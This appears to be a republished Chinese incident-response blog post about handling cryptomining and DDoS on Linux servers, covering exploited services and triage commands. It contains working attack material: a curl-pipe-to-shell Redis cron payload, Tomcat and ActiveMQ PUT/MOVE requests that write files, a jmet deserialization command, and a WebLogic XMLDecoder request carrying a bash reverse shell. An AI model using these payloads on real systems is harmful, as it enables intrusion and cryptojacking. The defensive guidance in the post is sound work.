當前位置：首頁 > 运维知识 > linux >内容正文

linux

哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...

發布時間：2024/9/15 linux 31 豆豆

生活随笔收集整理的這篇文章主要介紹了哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法... 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

從去年六月份到現在做的應急響應、事件分析大大小小的做了數百個，主要遇到的有挖礦、DDoS、短信接口盜刷、用戶接口泄漏、越權信息獲取、掛黑頁、刪數據等。本文只針對自己做的應急響應中的挖礦和DDoS兩類做一下總結及自己的處置方法，幫助運維等相關人員在遇到之后能夠快速響應、處置。文章有不足之處歡迎大家指出、補充。

0x01 應急事件處理流程是什么？

服務器安全排查

webshell 查找
木馬病毒查找和清理
惡意進程、網絡連接和自啟任務等清理

問題事件分析

溯源事件緣由、黑客攻擊途徑

應用系統安全漏洞排查

應用安全漏洞排查

0x02 攻擊者進行挖礦、DDoS利用的漏洞有哪些？

1、未授權訪問

未授權訪問在我所處置的應急響應事件中所占的比重最大，主要分為以下幾種：

redis未授權訪問

redis未授權訪問主要被用來進行挖礦，一般手段是通過redis寫入計劃任務，基本上都是形如：/bin/sh -c /usr/bin/curl -sL https://lnk0.com/VhscA1|sh，直接進行挖礦、ddos等。

排查方法：

修復方法：

- 綁定本地訪問：bind 127.0.0.1
- 添加認證：requirepass http://www.secpulse.com
- redis-cli -h host -p port

memcache未授權訪問

memcache未授權訪問主要被用來進行DDoS，在今年三月份爆發，攻擊者利用memcached協議，發送大量帶有被害者IP地址的UDP數據包給放大?主機，然后放大?主機對偽造的IP地址源做出大量回應，形成分布式拒絕服務攻擊，從而形成DRDoS反射。

排查方法：

修復方法：

- 設置memchached只允許本地訪問
- 禁止外網訪問Memcached 11211端口
- 編譯時加上–enable-sasl，啟用SASL認證
- nc host port

docker未授權訪問

docker未授權訪問主要被用來進行挖礦，通過掛載宿主機的/etc/、/var/spool/cron/等目錄，之后將相關挖礦的腳本、命令等寫入到/etc/crontab，/var/spool/cron/crontabs/root中。

排查方法：

修復方法：

- 在不必需的情況下，不要啟用docker的remote api服務
- 在 docker api 服務器前面加一個代理，例如 nginx，設置 401 認證
- curl http://IP:2375/containers/json

k8s未授權訪問

k8s未授權訪問主要被用來挖礦，API Server 默認會開啟兩個端口：8080和 6443。其中 8080 端口無需認證，6443 端口需要認證，且有 TLS 保護，直接訪問8080端口會返回可用的API列表。訪問dashboard 頁面，可以創建、修改、刪除容器，查看日志等。攻擊者利用的流程大體為：創建新的容器 -> 掛載宿主機目錄 -> 寫 /etc/crontab定時任務進行挖礦。

排查方法：

修復方法：

- 配置安全組、防火墻等，禁止敏感端口對外開放
- 為管理端添加認證
- curl http://IP:8080/

2、Tomcat

Tomcat目前常被利用的有：

Tomcat PUT任意文件寫入漏洞（CVE-2017-12615）

排查方法：

直接發送以下數據包即可在Web根目錄寫入shell

PUT /test.jsp/ HTTP/1.1
Host: ip:port
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
test

Tomcat弱口令部署war包getshell

排查方法：

查看tomcat管理控制臺是否存在如下弱口令：

用戶名

密碼

tomcat

admin

j5Brn9

admin

tomcat

role

changethis

role1

root

changethis

role1

tomcat

both

tomcat

changethis

修復方法：

嚴禁弱口令，使用數字+字母+特殊字符的十位以上強密碼
及時升級Tomcat補丁
安全組、防火墻等設置訪問白名單

3、ActiveMQ

ActiveMQ目前常被利用的有：

ActiveMQ反序列化命令執行（CVE-2015-5254）

默認開啟61616和8161兩個端口。其中61616是工作端口，消息在這個端口進行傳遞；8161是Web管理頁面端口。攻擊者利用的流程為：構造可執行命令的序列化對象 -> 作為一個消息，發送給目標61616端口 ->訪問web管理頁面，讀取消息，觸發漏洞

排查方法：

下載jmet的jar文件

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/activemq" -Yp ROME IP 61616

訪問：http://ip:8161/admin/browse.jsp?JMSDestination=event看到這個隊列中所有消息

點擊查看這條消息即可觸發命令執行

ActiveMQ fileserver任意文件寫入漏洞（CVE-2016-3088）

ActiveMQ的web控制臺8161端口分三個應用，admin、api和fileserver，其中admin是管理員頁面，api是接口，fileserver是儲存文件的接口；admin和api需要登錄后才能使用，fileserver無需登錄。目前見到的是直接寫入cron挖礦，簡單粗暴！

排查方法：

PUT /fileserver/test.txt HTTP/1.1
Host: ip:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 4
test

寫入到計劃任務

MOVE /fileserver/text.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: ip:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

修復方法：

嚴禁弱口令，使用數字+字母+特殊字符的十位以上強密碼
及時升級ActiveMQ補丁
安全組、防火墻等設置訪問白名單

4、爆破

主要是Windows3389、Linux ssh爆破，爆破成功之后直接執行命令進行挖礦、DDoS。

排查方法：

網上搜索自己的密碼是否被公開活在黑客字典中

修復方法：

嚴禁弱口令，使用數字+字母+特殊字符的十位以上強密碼
安全組、防火墻等設置白名單訪問

5、Struts2

利用Struts2反序列化命令執行，直接執行相關命令。

排查方法：

搜索網上一鍵掃描struts2漏洞的工具進行檢測

修復方法：

及時升級Struts2相關補丁

6、Java RMI命令執行

RMI服務的默認開放1099端口，且暴露在公網中，并且恰好使用了Apache Commons Collections的缺陷版本，可被直接利用來進行任意命令執行。

排查方法：

使用nmap進行端口掃描

修復方法：

升級相應缺陷版本
安全組、防火墻等設置拒絕RMI端口訪問

7、Weblogic

目前見到的主要被利用的是Weblogic wls-wsat XMLDecoder反序列化漏洞（CVE-2017-10271）。

Weblogic的WLS Security組件對外提供webservice服務，其中使用了XMLDecoder來解析用戶傳入的XML數據，在解析的過程中出現反序列化漏洞，導致可執行任意命令。

排查方法：

發送如下數據包，注意其中反彈shell的語句，需要進行編碼，否則解析XML的時候將出現格式錯誤：

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: IP:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.2.11/8080 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

修復方法：

升級weblogic相關補丁到最新版本
安全組、防火墻等設置相關敏感端口白名單訪問

0x03 應急響應快速排查步驟

以Linux為例，以下相關步驟只針對挖礦、DDoS相關安全事件的排查，以便快速、高效解決問題。其他安全事件按照通用事件排查步驟即可。

檢查進程及文件

top -c ：快速查看進程信息，并獲取進程文件位置

kill -9 PID ：殺死進程

根據惡意進程、文件特征如：文件名、文件大小、文件創建時間進行全盤搜索

grep -rni "shell.name" * ：根據文件名特征查找

find / -size 1223123c ：根據文件大小特征查找

find / -mtime 1 -name * ：根據文件創建時間查找

lsof -p PID：查看進程占用信息

cd /proc/PID ：進入到進程中

cat * |strings -n 5 |more ：讀取該進程內存中的信息

檢測網絡

lsof -i:5000 ：查看5000端口的占用情況

netstat -nap ：查看不正常端口

netstat -an | grep tcp | awk '{print $5}' ：查看TCP連接

netstat -an | grep SYN | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -nr | more ：查看SYN連接

檢查計劃任務

crontab -u root -l ：查看root用戶的計劃任務

cat /etc/crontab ：查看/etc/crontab

ls -al /etc/cron.* ：查看cron文件是否變化的詳細信息

ll /var/spool/cron/ ：查看/var/spool/cron/

檢查系統命令

ls -alt /bin/ | head -n 10ls -alt /usr/sbin/ | head -n 10ls -alt /usr/bin/ | head -n 10

Webshell

1、河馬

2、自寫腳本（推薦，因為可根據情況，自己加特征等）

使用殺毒軟件

ClamAV

掃描：clamscan -r /usr —max-dir-recursion=5 -l /tmp/clamav.log移除：clamscan -r —remove /usr/bin/

rkhunter

rkhunter --propupdrkhunter --check

注意事項

1、一定要查看系統命令是否被替換，否則所做的都是一切徒勞。。。

2、若系統替換可用其他代替，如：ps使用top，netstat使用ss等

3、lsof -n |grep delete 查找已經刪除但是還在使用的文件

4、留意下是否有SSH后門

5、注意是否存在隱藏進程

6、實在無法刪除可使用chattr +i鎖定相應計劃任務文件

7、實在不行修改把curl ，wget ,lynx 文件全局重命名

附：記一次事件分析詳細排查步驟

1、事件緣由

客戶反饋服務器D盤里面的文件被刪除了，要求排查什么原因導致的，什么漏洞引發的。

2、事件分析

前期準備工作：端口掃描、黑盒漏掃、弱口令、是否存在命令執行相關漏洞等，未果，進入服務器排查。

D盾全盤webshell查殺發現惡意文件（中間的一些用戶，組，進程，日志排查步驟等我就不說了）

webshell名為enshell.aspx

根據該webshell文件名查找日志

定位記錄該惡意文件的日志信息，找到攻擊者IP

攻擊者IP：110.87.13.61

威脅情報來一波

根據IP定位黑客攻擊點

定位記錄詳情

定位漏洞源頭

至此，事件分析結束。

3、事件結論

由此可知：黑客先利用/xxx/upload2Server/接口上傳了惡意文件，再利用/xxx/checkfileexists/判斷文件是否上傳成功，最后利用，/xxx/executecmd/執行了該惡意文件。

總結

以上是生活随笔為你收集整理的哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。

上一篇： zenmap nmap输出无显示_液晶显
下一篇： python操作mysql_使用Pyth